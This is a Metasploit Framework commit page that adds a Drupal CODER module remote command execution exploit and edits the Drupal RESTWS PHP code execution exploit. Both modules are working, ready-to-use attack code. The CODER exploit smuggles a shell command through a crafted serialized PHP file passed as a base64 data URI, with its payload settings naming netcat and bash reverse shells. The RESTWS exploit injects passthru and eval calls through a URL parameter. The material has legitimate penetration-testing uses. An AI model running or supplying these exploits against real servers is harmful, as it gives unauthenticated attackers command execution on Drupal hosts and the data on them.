Skip to content

Commit 2fed51b

Browse files
committed
Land rapid7#7115, Drupal CODER exploit
2 parents d34579f + 62d28f1 commit 2fed51b

File tree

2 files changed

+108
-3
lines changed

2 files changed

+108
-3
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Drupal CODER Module Remote Command Execution',
14+
'Description' => %q{
15+
This module exploits a Remote Command Execution vulnerability in the
16+
Drupal CODER Module. Unauthenticated users can execute arbitrary
17+
commands under the context of the web server user.
18+
19+
The CODER module doesn't sufficiently validate user inputs in a script
20+
file that has the PHP extension. A malicious unauthenticated user can
21+
make requests directly to this file to execute arbitrary commands.
22+
The module does not need to be enabled for this to be exploited.
23+
24+
This module was tested against CODER 2.5 with Drupal 7.5 installed on
25+
Ubuntu Server.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Nicky Bloor <[email protected]>', # discovery
31+
'Mehmet Ince <[email protected]>' # msf module
32+
],
33+
'References' =>
34+
[
35+
['URL', 'https://www.drupal.org/node/2765575']
36+
],
37+
'Privileged' => false,
38+
'Payload' =>
39+
{
40+
'Space' => 250,
41+
'DisableNops' => true,
42+
'BadChars' => "\x2f",
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd cmd_bash',
46+
'RequiredCmd' => 'netcat netcat-e bash-tcp'
47+
},
48+
},
49+
'Platform' => ['unix'],
50+
'Arch' => ARCH_CMD,
51+
'Targets' => [ ['Automatic', {}] ],
52+
'DisclosureDate' => 'Jul 13 2016',
53+
'DefaultTarget' => 0
54+
))
55+
56+
register_options(
57+
[
58+
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
59+
]
60+
)
61+
end
62+
63+
def check
64+
res = send_request_cgi(
65+
'method' => 'GET',
66+
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
67+
)
68+
69+
if res && res.body.include?('file parameter is not setNo path to parameter file')
70+
Exploit::CheckCode::Appears
71+
else
72+
Exploit::CheckCode::Safe
73+
end
74+
end
75+
76+
def exploit
77+
p = ''
78+
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
79+
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
80+
p << 's:9:"variables";s:14:"variables_test";'
81+
p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
82+
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
83+
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
84+
p << 's:7:"new_dir";s:'
85+
p << (payload.encoded.length + 5).to_s
86+
p << ':"-v;'
87+
p << payload.encoded
88+
p << ' #";s:4:"name";s:4:"test";}}}'
89+
90+
payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
91+
92+
send_request_cgi(
93+
'method' => 'GET',
94+
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
95+
'encode_params' => false,
96+
'vars_get' => {
97+
'file' => payload
98+
}
99+
)
100+
end
101+
end

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,17 +12,18 @@ def initialize(info={})
1212
super(update_info(info,
1313
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
1414
'Description' => %q{
15-
This module exploits a Remote PHP Code Execution vulnerability in
15+
This module exploits a Remote PHP Code Execution vulnerability in the
1616
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
1717
under the context of the web server user.
1818
1919
RESTWS alters the default page callbacks for entities to provide
2020
additional functionality. A vulnerability in this approach allows
2121
an unauthenticated attacker to send specially crafted requests resulting
2222
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
23-
versions are affected by issue.
23+
are affected by this issue.
2424
25-
This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
25+
This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
26+
Ubuntu Server.
2627
},
2728
'License' => MSF_LICENSE,
2829
'Author' =>
@@ -55,13 +56,15 @@ def initialize(info={})
5556

5657
def check
5758
r = rand_text_alpha(8 + rand(4))
59+
5860
res = send_request_cgi(
5961
'method' => 'GET',
6062
'uri' => normalize_uri(target_uri.path, 'index.php'),
6163
'vars_get' => {
6264
'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
6365
}
6466
)
67+
6568
if res && res.body.include?(r)
6669
Exploit::CheckCode::Vulnerable
6770
else
@@ -71,6 +74,7 @@ def check
7174

7275
def exploit
7376
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
77+
7478
send_request_cgi(
7579
'method' => 'GET',
7680
'uri' => normalize_uri(target_uri.path, 'index.php'),

0 commit comments

Comments
 (0)